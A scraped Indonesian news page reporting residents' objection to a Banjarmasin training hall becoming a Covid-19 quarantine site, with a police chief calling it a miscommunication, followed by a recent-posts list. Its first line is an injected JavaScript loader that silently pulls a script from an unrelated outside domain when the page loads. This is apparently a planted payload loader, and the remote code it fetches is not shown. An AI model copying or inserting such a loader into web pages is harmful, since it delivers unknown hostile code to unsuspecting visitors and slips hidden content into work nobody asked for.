(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Penolakan Balai Diklat jadi Karantina Covid-19, Kapolsek Banjarmasin Utara: Miskomunikasi Saja!


KANALKALIMANTAN.COM, BANJARMASIN – Warga Komplek Kayu Tangi II, Jalan Brigjen H. Hasan Basry Kelurahan Pangeran, Banjarmasin, menolak digunakannya Gedung Balai Diklat Pemko Banjarmasin sebagai tempat karantina orang dalam pemantauan (ODP) maupun pasien dalam pengawasan (PDP). Namun aksi penolakan ini langsung diredam aparat kepolisian dari Polsek Banjarmasin Utara yang melakukan mediasi kepada masyarakat.

Ditemui di lokasi pada Selasa (7/4/2020) malam, Kapolsek Banjarmasin Utara AKP Gita Suhandi mengatakan, jajarannya sudah melakukan mediasi kepada masyarakat sekitar untuk membubarkan diri. Selanjutnya, ia menambahkan, akan ada pertemuan antara masyarakat dengan Gugus Tugas Kota Banjarmasin.

“Saya minta kepada ajudan Wali Kota untuk melakukan pertemuan dengan masyarakat,” ungkap AKP Gita. Dengan ditetapkannya Gedung Balai Diklat sebagai tempat karantina, ia tidak menampik gedung ini memang akan digunakan untuk itu. Hanya saja, tidak ada pemberitahuan lebih lanjut kepada masyarakat sekitar hingga berujung adanya penolakan, atau adanya miskomunikasi.

“Hanya miskomunikasi saja. Seandainya sudah ada pertemuan, ada penjelasan teknis yang bisa menerima, Insyaallah masyakarat berkenan saja,” jelasnya.

AKP Gita mengatakan, adanya penolakan masyarakat karena kekhawatiran ODP akan berkeliaran. Ia sudah berbicara dengan masyarakat dan menjamin akan ada penjagaan dari aparat TNI-Polri. “Seandainya dipakai, kami akan jaga 24 jam,” tegasnya.

AKP Gita sendiri menyayangkan, masih banyak warga Kota Banjarmasin yang berkumpul di kerumunan dan tidak mengindahkan imbauan kepolisian. Pendirian gedung karantina khusus sendiri, diklaim merupakan langkah sigap pemerintah untuk memperkecil dan mengisolasi ruang gerak ODP di lingkungan masyarakat.

“Ini sudah langkah terbaik dari pemerintah, jadi kita harapkan dukungan dari masyarakat juga. Ini hanya miskomunikasi saja,” pungkasnya. (Kanalkalimantan.com/fikri)

 

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

2 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

3 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

3 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

10 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

11 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

1 hari ago

This website uses cookies.